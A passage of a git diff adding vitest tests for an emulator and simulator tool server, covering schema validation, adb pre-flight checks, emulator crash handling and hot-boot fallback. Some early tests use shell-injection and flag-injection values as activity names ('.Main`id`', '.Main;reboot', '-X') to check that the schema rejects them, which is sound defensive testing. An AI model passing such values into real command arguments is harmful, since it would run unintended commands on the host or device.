+  it("rejects an activity with a shell backtick", () => {
+    const parsed = launchAppTool.zodSchema.safeParse({
+      udid: "emulator-5554",
+      bundleId: "com.example.app",
+      activity: ".Main`id`",
+    });
+    expect(parsed.success).toBe(false);
+  });
+
+  it("rejects an activity with `;`", () => {
+    const parsed = launchAppTool.zodSchema.safeParse({
+      udid: "emulator-5554",
+      bundleId: "com.example.app",
+      activity: ".Main;reboot",
+    });
+    expect(parsed.success).toBe(false);
+  });
+
+  it("rejects an activity that starts with `-` (flag injection)", () => {
+    const parsed = launchAppTool.zodSchema.safeParse({
+      udid: "emulator-5554",
+      bundleId: "com.example.app",
+      activity: "-X",
+    });
+    expect(parsed.success).toBe(false);
+  });
+});
+
+describe('empty-udid guard (#7) — cross-platform tools reject `udid: ""`', () => {
+  // Without .min(1), an empty udid flows through to `adb -s "" shell …`
+  // which silently targets the default device on a multi-host setup.
+  const toolCases: Array<{
+    name: string;
+    schema: { safeParse: (x: unknown) => { success: boolean } };
+    extra: Record<string, unknown>;
+  }> = [
+    { name: "launch-app", schema: launchAppTool.zodSchema, extra: { bundleId: "com.x" } },
+    { name: "restart-app", schema: restartAppTool.zodSchema, extra: { bundleId: "com.x" } },
+    { name: "open-url", schema: openUrlTool.zodSchema, extra: { url: "https://example.com" } },
+    {
+      name: "reinstall-app",
+      schema: reinstallAppTool.zodSchema,
+      extra: { bundleId: "com.x", appPath: "/tmp/x.apk" },
+    },
+    {
+      name: "describe",
+      schema: createDescribeTool(new Registry()).zodSchema,
+      extra: {},
+    },
+  ];
+
+  for (const { name, schema, extra } of toolCases) {
+    it(`${name} rejects empty udid`, () => {
+      const parsed = schema.safeParse({ udid: "", ...extra });
+      expect(parsed.success).toBe(false);
+    });
+  }
+});
diff --git a/packages/tool-server/test/blueprints/ax-service.test.ts b/packages/tool-server/test/blueprints/ax-service.test.ts
new file mode 100644
index 00000000..1da9132a
--- /dev/null
+++ b/packages/tool-server/test/blueprints/ax-service.test.ts
@@ -0,0 +1,41 @@
+import { describe, it, expect } from "vitest";
+import type { DeviceInfo } from "@argent/registry";
+import { axServiceBlueprint } from "../../src/blueprints/ax-service";
+
+// Regression: same crash class as simulator-server. A missing udid would
+// throw `getSocketPath(undefined).slice` synchronously and `udid.slice` in
+// the stderr listener fatally. The id-shape check sits *after* the apple-
+// only check so an Android caller still gets the clearer iOS-only error.
+describe("ax-service blueprint — input validation", () => {
+  it("rejects when options.device is missing", async () => {
+    await expect(axServiceBlueprint.factory({}, "ignored")).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+
+  it("rejects an Android device with the iOS-only diagnostic before id-shape check", async () => {
+    const device: DeviceInfo = { id: "emulator-5554", platform: "android", kind: "emulator" };
+    await expect(axServiceBlueprint.factory({}, "ignored", { device })).rejects.toThrow(/iOS-only/);
+  });
+
+  it("rejects when device.id is undefined", async () => {
+    const device = { id: undefined, platform: "ios", kind: "simulator" } as unknown as DeviceInfo;
+    await expect(axServiceBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+
+  it("rejects when device.id is an empty string", async () => {
+    const device: DeviceInfo = { id: "", platform: "ios", kind: "simulator" };
+    await expect(axServiceBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+
+  it("rejects when device.id is a non-string value", async () => {
+    const device = { id: 42, platform: "ios", kind: "simulator" } as unknown as DeviceInfo;
+    await expect(axServiceBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+});
diff --git a/packages/tool-server/test/blueprints/simulator-server.test.ts b/packages/tool-server/test/blueprints/simulator-server.test.ts
new file mode 100644
index 00000000..39ccf1ef
--- /dev/null
+++ b/packages/tool-server/test/blueprints/simulator-server.test.ts
@@ -0,0 +1,36 @@
+import { describe, it, expect } from "vitest";
+import type { DeviceInfo } from "@argent/registry";
+import { simulatorServerBlueprint } from "../../src/blueprints/simulator-server";
+
+// Regression: a missing `udid` reaching the factory used to spawn `--id
+// undefined`, then throw `udid.slice` inside an async stderr listener →
+// uncaughtException → tool-server crash. Reachable via wrappers that don't
+// re-validate the inner tool's schema (e.g. flow-add-step).
+describe("simulator-server blueprint — input validation", () => {
+  it("rejects when options.device is missing", async () => {
+    await expect(simulatorServerBlueprint.factory({}, "ignored")).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+
+  it("rejects when device.id is undefined", async () => {
+    const device = { id: undefined, platform: "ios", kind: "simulator" } as unknown as DeviceInfo;
+    await expect(simulatorServerBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+
+  it("rejects when device.id is an empty string", async () => {
+    const device: DeviceInfo = { id: "", platform: "ios", kind: "simulator" };
+    await expect(simulatorServerBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+
+  it("rejects when device.id is a non-string value", async () => {
+    const device = { id: 42, platform: "ios", kind: "simulator" } as unknown as DeviceInfo;
+    await expect(simulatorServerBlueprint.factory({}, "ignored", { device })).rejects.toThrow(
+      /requires a non-empty device\.id/
+    );
+  });
+});
diff --git a/packages/tool-server/test/boot-device-hardening.test.ts b/packages/tool-server/test/boot-device-hardening.test.ts
new file mode 100644
index 00000000..3e6a2d8a
--- /dev/null
+++ b/packages/tool-server/test/boot-device-hardening.test.ts
@@ -0,0 +1,338 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { EventEmitter } from "node:events";
+import type { Registry } from "@argent/registry";
+
+const execFileMock = vi.fn();
+const spawnMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) callback(result, { stdout: "", stderr: "" });
+      else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+    spawn: (cmd: string, args: string[], opts: unknown) => spawnMock(cmd, args, opts),
+  };
+});
+
+// `boot-device` now goes through `resolveAndroidBinary` for both ensureDep
+// and the spawn path. Stub the resolver to return the bare name so existing
+// `cmd === "adb" / "emulator"` and `spawnMock("emulator", ...)` matchers fire
+// regardless of host SDK install state.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import {
+  __resetInFlightBootsForTesting,
+  createBootDeviceTool,
+} from "../src/tools/devices/boot-device";
+
+const registry: Registry = { resolveService: async () => ({}) } as unknown as Registry;
+
+beforeEach(() => {
+  execFileMock.mockReset();
+  spawnMock.mockReset();
+  // Tests in this file intentionally abandon some bootAndroid promises
+  // (kick them off, attach .catch, move on). Without this reset the in-flight
+  // coalescing map would hand the leaked promise to the next test that boots
+  // the same AVD, causing cascade timeouts.
+  __resetInFlightBootsForTesting();
+  // Default: every spawned emulator process is a well-behaved child that
+  // never exits on its own. Individual tests override as needed.
+  spawnMock.mockImplementation(() => {
+    const proc = new EventEmitter() as EventEmitter & { unref: () => void };
+    proc.unref = () => {};
+    return proc;
+  });
+});
+
+describe("boot-device Android — adb pre-flight check (review #11)", () => {
+  it("fails before spawning the emulator when adb is unavailable", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "version") {
+        return new Error("adb: command not found");
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    await expect(tool.execute!({}, { avdName: "Pixel_7_API_34" })).rejects.toThrow(
+      /`adb` is not available on PATH/
+    );
+    // The emulator binary must NOT have been spawned — otherwise we orphan
+    // a detached process that the user has to kill manually.
+    expect(spawnMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("boot-device Android — serialsBefore snapshot ordering (review #2)", () => {
+  /**
+   * If the adb daemon is down when bootAndroid starts, snapshotting the
+   * device list *before* `adb start-server` makes `listAndroidSerials`
+   * return []. Then once the daemon comes up, every already-connected
+   * emulator looks "new" and the tool could hand back a pre-existing
+   * emulator as the one the caller just booted.
+   *
+   * Fix: `adb start-server` runs BEFORE the snapshot. We verify by
+   * checking that when listAndroidDevices returns a pre-existing emulator,
+   * the tool keeps waiting for a genuinely new one.
+   */
+
+  it("does not adopt a pre-existing emulator as the one we just booted", async () => {
+    // Sequence: adb version OK, then we spawn emulator, then `adb devices`
+    // returns the SAME pre-existing emulator for the full adb-register budget.
+    // The tool must time out and never return the stale serial as booted.
+    const preExisting = "emulator-5554";
+    const callLog: string[] = [];
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      const key = `${cmd} ${args.join(" ")}`;
+      callLog.push(key);
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "version")
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: `List of devices attached\n${preExisting}\tdevice\n`, stderr: "" };
+      }
+      // Enrichment getprops — return anything so snapshotting can enrich.
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        return { stdout: "\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const promise = tool.execute!(
+      {},
+      {
+        avdName: "Pixel_7_API_34",
+        bootTimeoutMs: 30_000, // hits min bound; the real wait is capped by adb-register budget
+      }
+    );
+
+    // Verify critical ordering: start-server runs BEFORE the first `adb devices` call.
+    // If snapshot happened first, we'd see `adb devices` before `adb start-server`.
+    // We race this assertion against the promise (which is slow) — use a short delay.
+    await new Promise((r) => setTimeout(r, 150));
+    const startServerIdx = callLog.indexOf("adb start-server");
+    const firstDevicesIdx = callLog.indexOf("adb devices");
+    expect(startServerIdx).toBeGreaterThanOrEqual(0);
+    expect(firstDevicesIdx).toBeGreaterThan(startServerIdx);
+
+    // Clean up — reject the outstanding promise deterministically. The tool
+    // will eventually throw its own register-timeout but we don't want to
+    // wait the full budget. Swallow whatever it throws.
+    promise.catch(() => {});
+  }, 5_000);
+});
+
+describe("boot-device Android — earlyExitError surfaces promptly (review #4)", () => {
+  it("reports the emulator crash error instead of an adb wait-for-device timeout", async () => {
+    // Simulate: emulator spawns, registers in adb, then crashes. Stage 3
+    // (wait-for-device) would previously block for the full 180s budget
+    // and throw a generic timeout. The fix races against earlyExitError.
+    const serial = "emulator-5554";
+    const proc = new EventEmitter() as EventEmitter & { unref: () => void };
+    proc.unref = () => {};
+    spawnMock.mockReturnValue(proc);
+
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator") return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "version") return { stdout: "adb ok\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: `List of devices attached\n${serial}\tdevice\n`, stderr: "" };
+      }
+      if (cmd === "adb" && args.includes("wait-for-device")) {
+        // Simulate a slow adb that will never return; the race must win.
+        return new Promise(() => {}) as unknown as { stdout: string; stderr: string };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        return { stdout: "\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args.includes("emu") && args.includes("kill")) {
+        return { stdout: "OK\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const promise = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+
+    // Let the tool get past pre-flight into wait-for-device, then crash the
+    // emulator. waitForEarlyExit polls every 500 ms so the error should surface
+    // in under a couple of seconds.
+    setTimeout(() => proc.emit("exit", 1), 600);
+
+    await expect(promise).rejects.toThrow(/emulator binary exited with code 1/);
+  }, 10_000);
+
+  it("coalesces concurrent boot calls for the same AVD onto a single spawn", async () => {
+    // Two callers race in for the same AVD before either emulator registers.
+    // Without the in-flight coalescing both would spawn QEMU; the second
+    // collides on the AVD lock and bails after the deadline. Verify that
+    // exactly one spawn fires and both callers see the same result.
+    const serial = "emulator-5554";
+    let devicesPolls = 0;
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "version") return { stdout: "ok\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        devicesPolls++;
+        // First poll: empty. Subsequent polls: emulator visible.
+        if (devicesPolls <= 1) return { stdout: "List of devices attached\n", stderr: "" };
+        return { stdout: `List of devices attached\n${serial}\tdevice\n`, stderr: "" };
+      }
+      if (cmd === "adb" && args.includes("wait-for-device")) {
+        return { stdout: "", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        return { stdout: "1\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const [a, b] = await Promise.all([
+      tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 }),
+      tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 }),
+    ]);
+
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(a).toEqual(b);
+  }, 15_000);
+
+  it("reports a signal-terminated emulator (e.g. QEMU SIGSEGV) as a crash, not a hang", async () => {
+    // Regression for the "sometimes silently crashes" complaint: when QEMU
+    // segfaults on a bad ram.bin restore the child exits with `code === null,
+    // signal !== null`. The previous `code !== null` guard treated this as a
+    // normal exit so the outer wait blocked for the full per-stage budget.
+    const serial = "emulator-5554";
+    const proc = new EventEmitter() as EventEmitter & { unref: () => void };
+    proc.unref = () => {};
+    spawnMock.mockReturnValue(proc);
+
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator") return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "version") return { stdout: "adb ok\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: `List of devices attached\n${serial}\tdevice\n`, stderr: "" };
+      }
+      if (cmd === "adb" && args.includes("wait-for-device")) {
+        return new Promise(() => {}) as unknown as { stdout: string; stderr: string };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        return { stdout: "\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args.includes("emu") && args.includes("kill")) {
+        return { stdout: "OK\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const promise = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+
+    setTimeout(() => proc.emit("exit", null, "SIGSEGV"), 600);
+
+    await expect(promise).rejects.toThrow(/terminated by signal SIGSEGV/);
+  }, 10_000);
+});
+
+describe("boot-device Android — orphan protection on stage-2 timeout (review feedback R1#1)", () => {
+  /**
+   * Before this fix, spawn(..., {detached: true, stdio: "ignore"}) + unref()
+   * meant that if the adb-register stage timed out (emulator started but
+   * never appeared in `adb devices`), `killEmulatorQuietly(null)` was a
+   * no-op — the detached emulator kept running and the user had to find
+   * and kill the PID by hand. The fix retains the ChildProcess and signals
+   * SIGTERM (with SIGKILL escalation) on any throw before a serial is
+   * resolved.
+   */
+  it("SIGTERMs the detached emulator child when no serial registers within the budget", async () => {
+    vi.useFakeTimers();
+    try {
+      const proc = new EventEmitter() as EventEmitter & {
+        unref: () => void;
+        kill: (sig?: string) => boolean;
+        exitCode: number | null;
+        signalCode: string | null;
+      };
+      proc.unref = () => {};
+      proc.exitCode = null;
+      proc.signalCode = null;
+      const killSignals: (string | undefined)[] = [];
+      proc.kill = (sig?: string) => {
+        killSignals.push(sig);
+        return true;
+      };
+      spawnMock.mockReturnValue(proc);
+
+      execFileMock.mockImplementation((cmd: string, args: string[]) => {
+        if (cmd === "emulator" && args[0] === "-list-avds") {
+          return { stdout: "Pixel_7_API_34\n", stderr: "" };
+        }
+        if (cmd === "adb" && args[0] === "version") {
+          return { stdout: "Android Debug Bridge\n", stderr: "" };
+        }
+        if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+        // `adb devices` always returns empty — no emulator ever registers,
+        // forcing the adb-register stage to exhaust its budget.
+        if (cmd === "adb" && args[0] === "devices") {
+          return { stdout: "List of devices attached\n", stderr: "" };
+        }
+        return { stdout: "", stderr: "" };
+      });
+
+      const tool = createBootDeviceTool(registry);
+      // bootTimeoutMs floor is 30_000 (zod). Burn that in fake time so the
+      // test completes in milliseconds of real time.
+      const promise = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+      promise.catch(() => {});
+      await vi.advanceTimersByTimeAsync(31_000);
+
+      await expect(promise).rejects.toThrow(/did not register within/);
+      // The detached child MUST have been signalled — SIGTERM fire-and-forget.
+      expect(killSignals[0]).toBe("SIGTERM");
+    } finally {
+      vi.useRealTimers();
+    }
+  }, 5_000);
+});
+
+describe("boot-device Android — missing AVD (existing guard)", () => {
+  it("throws a useful error when the requested avdName is not installed", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_3a_API_29\nPixel_7_API_34\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    await expect(tool.execute!({}, { avdName: "Does_Not_Exist" })).rejects.toThrow(
+      /AVD "Does_Not_Exist" not found.*Pixel_3a_API_29.*Pixel_7_API_34/
+    );
+  });
+});
diff --git a/packages/tool-server/test/boot-device-hotboot.test.ts b/packages/tool-server/test/boot-device-hotboot.test.ts
new file mode 100644
index 00000000..03cf0a07
--- /dev/null
+++ b/packages/tool-server/test/boot-device-hotboot.test.ts
@@ -0,0 +1,379 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { EventEmitter } from "node:events";
+import type { Registry } from "@argent/registry";
+
+const execFileMock = vi.fn();
+const spawnMock = vi.fn();
+const hasSnapshotMock = vi.fn();
+const probeMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) callback(result, { stdout: "", stderr: "" });
+      else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+    spawn: (cmd: string, args: string[], opts: unknown) => spawnMock(cmd, args, opts),
+  };
+});
+
+// Stub the two filesystem/probe helpers so tests don't depend on a real AVD or
+// a real `emulator -check-snapshot-loadable` spawn.
+vi.mock("../src/utils/adb", async () => {
+  const actual = await vi.importActual<typeof import("../src/utils/adb")>("../src/utils/adb");
+  return {
+    ...actual,
+    hasDefaultBootSnapshot: (...a: unknown[]) => hasSnapshotMock(...a),
+    checkSnapshotLoadable: (...a: unknown[]) => probeMock(...a),
+  };
+});
+
+// `boot-device` now goes through `resolveAndroidBinary` for both ensureDep
+// and the spawn path. Stub the resolver to return the bare name so existing
+// `cmd === "adb" / "emulator"` and `spawnMock("emulator", ...)` matchers fire
+// regardless of host SDK install state.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import {
+  __resetInFlightBootsForTesting,
+  createBootDeviceTool,
+} from "../src/tools/devices/boot-device";
+
+const registry: Registry = { resolveService: async () => ({}) } as unknown as Registry;
+
+interface FakeChild extends EventEmitter {
+  unref: () => void;
+  kill: (sig?: string) => void;
+  exitCode: number | null;
+  signalCode: string | null;
+}
+
+function fakeChild(): FakeChild {
+  const proc = new EventEmitter() as FakeChild;
+  proc.unref = () => {};
+  proc.kill = () => {};
+  proc.exitCode = null;
+  proc.signalCode = null;
+  return proc;
+}
+
+beforeEach(() => {
+  execFileMock.mockReset();
+  spawnMock.mockReset();
+  hasSnapshotMock.mockReset();
+  probeMock.mockReset();
+  spawnMock.mockImplementation(() => fakeChild());
+  // Per-AVD in-flight coalescing carries leaked promises across tests; reset
+  // so each test starts with an empty boot map. (See note in adjacent
+  // boot-device-hardening.test.ts.)
+  __resetInFlightBootsForTesting();
+});
+
+/**
+ * Common happy-path mock: AVD exists, adb is healthy, `adb devices` reveals
+ * one new emulator after spawn, wait-for-device succeeds, getprop returns 1,
+ * pm path answers. Used to isolate the branch-selection logic under test.
+ */
+function mockHappyBootChain(newSerial = "emulator-5554") {
+  let devicesCalls = 0;
+  execFileMock.mockImplementation((cmd: string, args: string[]) => {
+    if (cmd === "emulator" && args[0] === "-list-avds") {
+      return { stdout: "Pixel_7_API_34\n", stderr: "" };
+    }
+    if (cmd === "adb" && args[0] === "version") {
+      return { stdout: "Android Debug Bridge\n", stderr: "" };
+    }
+    if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+    if (cmd === "adb" && args[0] === "devices") {
+      devicesCalls += 1;
+      const emuLine = devicesCalls >= 2 ? `${newSerial}\tdevice\n` : "";
+      return { stdout: `List of devices attached\n${emuLine}`, stderr: "" };
+    }
+    if (cmd === "adb" && args[0] === "-s" && args[2] === "wait-for-device") {
+      return { stdout: "", stderr: "" };
+    }
+    if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+      const shellCmd = args[3] ?? "";
+      if (shellCmd.startsWith("getprop sys.boot_completed")) {
+        return { stdout: "1\n", stderr: "" };
+      }
+      if (shellCmd.startsWith("getprop")) return { stdout: "unknown\n", stderr: "" };
+      if (shellCmd === "pm path android") {
+        return { stdout: "package:/system/framework/framework-res.apk\n", stderr: "" };
+      }
+      if (shellCmd.startsWith("screencap")) return { stdout: "1\n", stderr: "" };
+      return { stdout: "\n", stderr: "" };
+    }
+    return { stdout: "", stderr: "" };
+  });
+}
+
+describe("boot-device Android — hot-boot with cold-boot fallback", () => {
+  it("picks the hot-boot spawn args when a default_boot snapshot probes as Loadable", async () => {
+    hasSnapshotMock.mockResolvedValue(true);
+    probeMock.mockResolvedValue({ loadable: true, reason: null });
+    mockHappyBootChain();
+
+    const tool = createBootDeviceTool(registry);
+    const result = await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(result).toMatchObject({
+      platform: "android",
+      serial: "emulator-5554",
+      avdName: "Pixel_7_API_34",
+      booted: true,
+    });
+
+    // Exactly one emulator spawn and it is the hot-boot arg set.
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    const hotArgs = spawnMock.mock.calls[0]![1];
+    expect(hotArgs).toContain("-force-snapshot-load");
+    expect(hotArgs).toContain("-no-snapshot-save");
+    expect(hotArgs).not.toContain("-no-snapshot-load");
+    // Window is always visible — `-no-window` must never appear in spawn args.
+    expect(hotArgs).not.toContain("-no-window");
+  });
+
+  it("skips the hot-boot attempt and cold-boots when no snapshot exists on disk", async () => {
+    hasSnapshotMock.mockResolvedValue(false);
+    mockHappyBootChain();
+
+    const tool = createBootDeviceTool(registry);
+    await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(probeMock).not.toHaveBeenCalled();
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    const args = spawnMock.mock.calls[0]![1];
+    expect(args).toContain("-no-snapshot-load");
+    expect(args).not.toContain("-force-snapshot-load");
+    expect(args).not.toContain("-no-window");
+  });
+
+  it("skips the hot-boot attempt and cold-boots when -check-snapshot-loadable rejects", async () => {
+    hasSnapshotMock.mockResolvedValue(true);
+    probeMock.mockResolvedValue({ loadable: false, reason: "different renderer configured" });
+    mockHappyBootChain();
+
+    const tool = createBootDeviceTool(registry);
+    await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    // One spawn, and it is cold-boot args (no -force-snapshot-load).
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(spawnMock.mock.calls[0]![1]).toContain("-no-snapshot-load");
+  });
+
+  it("falls back to cold boot when hot-boot child exits early (ram.bin corruption class)", async () => {
+    hasSnapshotMock.mockResolvedValue(true);
+    probeMock.mockResolvedValue({ loadable: true, reason: null });
+    // First spawn crashes immediately. Second spawn is healthy.
+    let spawnCount = 0;
+    spawnMock.mockImplementation(() => {
+      const child = fakeChild();
+      spawnCount += 1;
+      if (spawnCount === 1) {
+        setTimeout(() => child.emit("exit", 134, null), 10);
+      }
+      return child;
+    });
+
+    // Device-list mock must be spawn-aware: while the first (crashing) hot
+    // attempt is in flight, `adb devices` shows no new emulator so the inner
+    // boot loop stays in the wait and observes earlyExitError. Once the
+    // second (cold) spawn happens, the new serial appears.
+    let coldSerialVisible = false;
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds")
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "version")
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        if (spawnCount >= 2) coldSerialVisible = true;
+        const line = coldSerialVisible ? "emulator-5554\tdevice\n" : "";
+        return { stdout: `List of devices attached\n${line}`, stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "wait-for-device") {
+        return { stdout: "", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const shellCmd = args[3] ?? "";
+        if (shellCmd.startsWith("getprop sys.boot_completed")) return { stdout: "1\n", stderr: "" };
+        if (shellCmd === "pm path android")
+          return { stdout: "package:/system/framework/framework-res.apk\n", stderr: "" };
+        return { stdout: "\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const result = await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(spawnMock).toHaveBeenCalledTimes(2);
+    expect(spawnMock.mock.calls[0]![1]).toContain("-force-snapshot-load");
+    expect(spawnMock.mock.calls[1]![1]).toContain("-no-snapshot-load");
+    expect(spawnMock.mock.calls[1]![1]).not.toContain("-force-snapshot-load");
+    expect(result).toMatchObject({ serial: "emulator-5554" });
+  });
+
+  it("falls back to cold boot when hot-restore leaves screencap returning a blank frame", async () => {
+    hasSnapshotMock.mockResolvedValue(true);
+    probeMock.mockResolvedValue({ loadable: true, reason: null });
+
+    // First spawn (hot) boots cleanly but screencap returns a blank frame —
+    // the SurfaceFlinger composite-restore artefact. Second spawn (cold) is
+    // fully healthy. Each spawn registers a distinct serial so the cold-boot
+    // poll picks up a genuinely new emulator.
+    let spawnCount = 0;
+    spawnMock.mockImplementation(() => {
+      spawnCount += 1;
+      return fakeChild();
+    });
+
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds")
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "version")
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        let lines = "";
+        if (spawnCount >= 1) lines += "emulator-5554\tdevice\n";
+        if (spawnCount >= 2) lines += "emulator-5556\tdevice\n";
+        return { stdout: `List of devices attached\n${lines}`, stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "wait-for-device")
+        return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const serial = args[1];
+        const shellCmd = args[3] ?? "";
+        if (shellCmd.startsWith("getprop sys.boot_completed")) return { stdout: "1\n", stderr: "" };
+        if (shellCmd.startsWith("getprop")) return { stdout: "unknown\n", stderr: "" };
+        if (shellCmd === "pm path android")
+          return { stdout: "package:/system/framework/framework-res.apk\n", stderr: "" };
+        if (shellCmd.startsWith("screencap")) {
+          return { stdout: serial === "emulator-5554" ? "0\n" : "1\n", stderr: "" };
+        }
+        return { stdout: "\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const result = await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(spawnMock).toHaveBeenCalledTimes(2);
+    expect(spawnMock.mock.calls[0]![1]).toContain("-force-snapshot-load");
+    expect(spawnMock.mock.calls[1]![1]).toContain("-no-snapshot-load");
+    expect(result).toMatchObject({ serial: "emulator-5556" });
+  });
+
+  it("returns the already-running emulator without spawning when the AVD is live and its framebuffer is healthy", async () => {
+    // adb devices reports the AVD already attached; getprop answers with the
+    // matching AVD name. screencap returns a healthy frame ("1") so the
